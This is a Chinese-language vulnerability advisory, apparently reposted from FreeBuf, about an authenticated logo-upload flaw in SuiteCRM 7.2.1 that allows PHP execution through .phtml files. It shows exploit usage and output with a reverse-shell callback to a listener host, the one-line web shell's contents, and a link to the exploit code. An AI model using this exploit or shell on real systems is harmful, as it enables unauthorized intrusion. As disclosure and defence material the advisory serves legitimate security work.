栏目导航: 首页 > 漏洞预警 > 程序漏洞 > 内容

企业级CRM系统SuiteCRM文件上传漏洞报告(含EXP)

www.hx99.net    时间: 2015-05-21    阅读: 次     整理: 华西安全网

 

SuiteCRM是一个价格合理并且容易使用的企业级CRM,SuiteCRM的设计初衷是为了帮助您的企业于千载客户沟通,共享销售信息,促成交易以及保持客户开心。 数千家企业每天使用Sugar去管理销售,市场和客户支持。

作为一个开源,基于Web的CRM解决方案,SuiteCRM非常便于修改和适应您不断改变的企业需求。是中小型生意,大型企业以及政府机构的理想解决方案,并且SuiteCRM可以运行于云端或在本地网络里来适应您的需要。

漏洞描述

SuiteCRM在其上传公司LOGO功能中含有一个post-authentication shell上传漏洞,它使用一个黑名单来防止可执行代码上传。此外,它的检查有效图片上传到的临时文件夹可以通过web访问。这就有可能绕过黑名单,通过“phtml”扩展上传可执行PHP代码到这个临时目录,从而进行代码执行。这个漏洞是Xiphos研究室的Darren Martyn发现。测试版本为“suitecrm-7.2.1-max”

用法

只需要选择你想使用的payload(目前只有back_python.php可用,以后准备增加back_php.php和back_perl.php)。这是"payload.php",同样需要你指定一个返回主机和端口。

使用例子

xrl:~$ python2 suiteshell.py http://192.168.2.111/suitecrm-7.2.1-max/ admin admin back_python.php 192.168.2.116 1337 ███████╗██╗   ██╗██╗████████╗███████╗███████╗██╗  ██╗███████╗██╗     ██╗      ██╔════╝██║   ██║██║╚══██╔══╝██╔════╝██╔════╝██║  ██║██╔════╝██║     ██║      ███████╗██║   ██║██║   ██║   █████╗  ███████╗███████║█████╗  ██║     ██║      ╚════██║██║   ██║██║   ██║   ██╔══╝  ╚════██║██╔══██║██╔══╝  ██║     ██║      ███████║╚██████╔╝██║   ██║   ███████╗███████║██║  ██║███████╗███████╗███████╗ ╚══════╝ ╚═════╝ ╚═╝   ╚═╝   ╚══════╝╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝ Exploit for SuiteCRM Post-Auth Shell Upload Version: 20150512.1 {+} Logging into the CRM... {+} Uploading our shell... {+} Probing for our shell... {+} Shell located and functioning at http://192.168.2.111/suitecrm-7.2.1-max/upload/tmp_logo_company_upload/suiteshell.phtml {*} Sending our payload... {+} Using 192.168.2.116:1337 as callback... {+} Dropping shell... {+} Shell dropped... Triggering... {+} got shell? xrl:~$

监听器建议使用tcp-pty-shell-handler[https://github.com/infodox/python-pty-shells]

xrl:~$ python2 /tmp/testing/python-pty-shells/tcp_pty_shell_handler.py -b 0.0.0.0:1337 Got root yet? Linux hackthecrm 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux uid=33(www-data) gid=33(www-data) groups=33(www-data) <suitecrm-7.2.1-max/upload/tmp_logo_company_upload$  cat suiteshell.phtml <?php @assert(filter_input(0,woot,516)); ?> <suitecrm-7.2.1-max/upload/tmp_logo_company_upload$

测试截图

时光轴

05/05/2015: 发现漏洞并通过验证,通过twitter联系到SuiteCRM。 06/05/2015: 发送漏洞细节 06/05/2015: SuiteCRM忽略漏洞 12/05/2015: 没有联系SuiteCRM, 编写自动化PoC exploit 20/05/2015: 截至日期到,公布PoC

修复方案

很明显,这不是一个完全意义上的修复方案。上传是需要使用白名单进行完全重写的

https://github.com/salesagility/SuiteCRM/pull/251 [修复详情请关注] 

福利在此

我什么都不知道!

https://github.com/XiphosResearch/exploits/tree/master/suiteshell

*参考来源github,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

本文来源:华西安全网[http://www.hx99.net]
发表评论】【告诉QQ好友】【错误报告】【加入收藏】【关闭